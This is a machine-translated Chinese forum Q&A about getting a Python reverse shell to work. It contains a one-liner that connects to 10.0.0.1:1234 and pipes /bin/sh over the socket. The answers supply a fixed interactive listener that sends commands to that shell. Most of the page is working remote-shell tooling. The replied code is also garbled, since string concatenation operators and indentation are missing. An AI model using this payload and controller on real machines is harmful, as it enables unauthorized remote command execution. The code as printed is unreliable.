我對我在本地嘗試的一個反向 shell 有疑問:
在手動嘗試使用以下反向 shell 獲取互動式 shell 的步驟后:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
_
我試圖做一個可以自動執行此操作的python服務器:
# coding: utf-8
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )
while True:
print(client.recv(2048)) # this showed me I had a shell
client.send(input("").encode('utf-8'))
client.close()
stock.close()
有人能弄清楚為什么我的命令沒有執行但 shell 啟動了(客戶端)嗎?
謝謝。
uj5u.com熱心網友回復:
client.send(input("").encode('utf-8'))
input將從它讀取的輸入中洗掉換行符。但是,shell 期望命令以換行符結尾。因此,解決方法是添加缺少的換行符:
client.send(input("").encode('utf-8') b"\n")
uj5u.com熱心網友回復:
- 首先,變數名不應與庫名相同。
- 服務器首先需要一些資料,但沒有資料到來。這就是問題發生的原因。
- 由于您直接連接到 shell,因此每次發送資料時都必須使用換行符說明符,即 '\n'
- 每次發送資料時,您都必須等待一段時間才能獲取資料。如果你不等待,就會出現問題,因為你試圖在代碼在另一端運行之前拉取資料。
- 您需要解碼傳入的資料
- 關閉客戶端和套接字將不起作用。因為它永遠不會退出 while 回圈,并且下面的代碼將不起作用。您可以為此檢查輸出。例如,當您鍵入“退出”時,回圈將結束。
代碼至少應該是這樣的:
import socket
import time
def interact(client):
command=''
while(command != 'exit'):
command=input('$ ')
client.send((command '\n').encode('utf-8'))
time.sleep(0.5)
print client.recv(2048).decode('utf-8')
client.close()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/416593.html
標籤:
下一篇:使用陣列更新SQL中的多個表
